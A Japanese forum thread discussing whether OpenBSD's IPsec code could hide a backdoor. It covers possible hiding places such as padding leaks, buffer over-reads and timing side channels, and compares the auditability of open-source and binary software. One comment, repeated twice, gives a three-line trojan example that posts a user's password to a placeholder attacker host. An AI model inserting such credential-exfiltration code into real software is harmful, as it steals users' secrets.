アカウント名:
パスワード:
Damien Miller 氏によれば、暗号そのものは恐らく安全であろう、とのことです。http://permalink.gmane.org/gmane.os.openbsd.tech/22559 [gmane.org]
何かを仕込むとすればネットワーク関連のコードで、鍵データがパディングに混入するようにしたり、秘密データに隣接する部分を読むとき「うっかりはみ出す」ようにしたり、mbuf を「うっかり再利用する」ようにしたり、タイミング攻撃によるサイドチャネル (2000年当時はあまり知られていなかった) を用意したりといった可能性が思いつく、と書いています。
そのうちの幾つかは対策が取られていますが、すべて疑念を晴らすには地道なコード監査以外ないようです。
(リスクが)0か0でないか、でいえば0でないわけですが、作者を完全に信頼するしかないレベルと、作者やcontributerも「見られているぞ」というレベルではコトの難易度が全然違うでしょう。そういう意味での相対的な安全なわけで、絶対的安全なんてもともとどこにも存在しない。
極端な話、以下のような見え見えなコードはすぐバレるわけで。でも、トロイの木馬ってだいたいこういう構成ですよね。
password = getPasswordFromUser();app.do_auth(password);http.post("http://evilhost.example.com/passwordstealer.pl", {"password":password});
ふと思ったんだけど、監視カメラと同程度の代物なのかもしれませんね。全部のカメラを見ていることはできないが、見られている/記録に残っているということ自体が抑止力になると。
横からですが。バイナリの危険性は、怪しい処理が仕込まれているならアンチウィルスソフトウェアのクラウドによるモルモット実験である程度分かりますが、完璧には無理です。また、バイナリは、故意の脆弱性によるバックドアが仕込まれていないかどうかの検証を簡単にはできません。# それでもセキュリティ会社は必死に脆弱性を見つけていますけどね
オープンソースは、怪しい処理が無いかの確認や脆弱性探索は容易なので、静的検証(Coverityなど)・動的検証(Valgrindなど)が行われたり、企業のセキュリティチームが中心となって人力でチェックしたりされています。けれども、未チェックなソフトウェアや、チェッカで危険性が検出されたまま放置されているソフトウェアも多いのが現状。署名無しでソースコードのtarボールが公開されているということも少なくなったとはいえまだまだありますね。
より多くのコメントがこの議論にあるかもしれませんが、JavaScriptが有効ではない環境を使用している場合、クラシックなコメントシステム(D1)に設定を変更する必要があります。
私はプログラマです。1040 formに私の職業としてそう書いています -- Ken Thompson
バックドアの余地は (スコア:5, 参考になる)
Damien Miller 氏によれば、暗号そのものは恐らく安全であろう、とのことです。
http://permalink.gmane.org/gmane.os.openbsd.tech/22559 [gmane.org]
何かを仕込むとすればネットワーク関連のコードで、
鍵データがパディングに混入するようにしたり、
秘密データに隣接する部分を読むとき「うっかりはみ出す」ようにしたり、
mbuf を「うっかり再利用する」ようにしたり、
タイミング攻撃によるサイドチャネル (2000年当時はあまり知られていなかった) を用意したり
といった可能性が思いつく、と書いています。
そのうちの幾つかは対策が取られていますが、
すべて疑念を晴らすには地道なコード監査以外ないようです。
Re: (スコア:0)
これって、OS全体のソースの量的規模が大きすぎてチェックする人的資源のほうが届かないため、指摘されない限りは不正なコードを仕込み放題ってことなんですかね?せっかくのオープンソースも、ホンネとしては機能していないってことでしょうか。
Re:バックドアの余地は (スコア:2, すばらしい洞察)
(リスクが)0か0でないか、でいえば0でないわけですが、作者を完全に信頼するしかないレベルと、作者やcontributerも「見られているぞ」というレベルではコトの難易度が全然違うでしょう。そういう意味での相対的な安全なわけで、絶対的安全なんてもともとどこにも存在しない。
極端な話、以下のような見え見えなコードはすぐバレるわけで。でも、トロイの木馬ってだいたいこういう構成ですよね。
password = getPasswordFromUser();
app.do_auth(password);
http.post("http://evilhost.example.com/passwordstealer.pl", {"password":password});
ふと思ったんだけど、監視カメラと同程度の代物なのかもしれませんね。全部のカメラを見ていることはできないが、見られている/記録に残っているということ自体が抑止力になると。
Re: (スコア:0)
> 作者を完全に信頼するしかないレベル
その考え方は間違いです。バイナリ提供の場合は疑わしいものとして扱います。
一方、オープンソースを疑わしいものとして扱っているでしょうか? そこに油断があると思いますよ。
Re: (スコア:0)
横からですが。
バイナリの危険性は、怪しい処理が仕込まれているならアンチウィルスソフトウェアのクラウドによるモルモット実験である程度分かりますが、完璧には無理です。
また、バイナリは、故意の脆弱性によるバックドアが仕込まれていないかどうかの検証を簡単にはできません。
# それでもセキュリティ会社は必死に脆弱性を見つけていますけどね
オープンソースは、怪しい処理が無いかの確認や脆弱性探索は容易なので、静的検証(Coverityなど)・動的検証(Valgrindなど)が行われたり、企業のセキュリティチームが中心となって人力でチェックしたりされています。
けれども、未チェックなソフトウェアや、チェッカで危険性が検出されたまま放置されているソフトウェアも多いのが現状。署名無しでソースコードのtarボールが公開されているということも少なくなったとはいえまだまだありますね。